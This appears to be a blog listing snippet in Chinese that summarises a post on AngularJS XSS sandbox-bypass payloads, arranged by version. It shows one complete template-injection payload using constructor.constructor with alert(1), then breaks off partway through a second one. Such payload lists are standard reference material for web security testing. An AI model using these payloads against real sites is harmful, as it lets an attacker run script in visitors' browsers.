摘要: AngularJs XSS沙箱绕过payload 1.0.1 - 1.1.5 {{constructor.constructor('alert(1)')()}} 1.2.0 - 1.2.1 {{a='constructor';b={};a.sub.call.call(b[a].getOwnPrope 阅读全文
posted @ 2020-03-30 20:35 Eleven_Liu 阅读(1032) 评论(0) 推荐(0)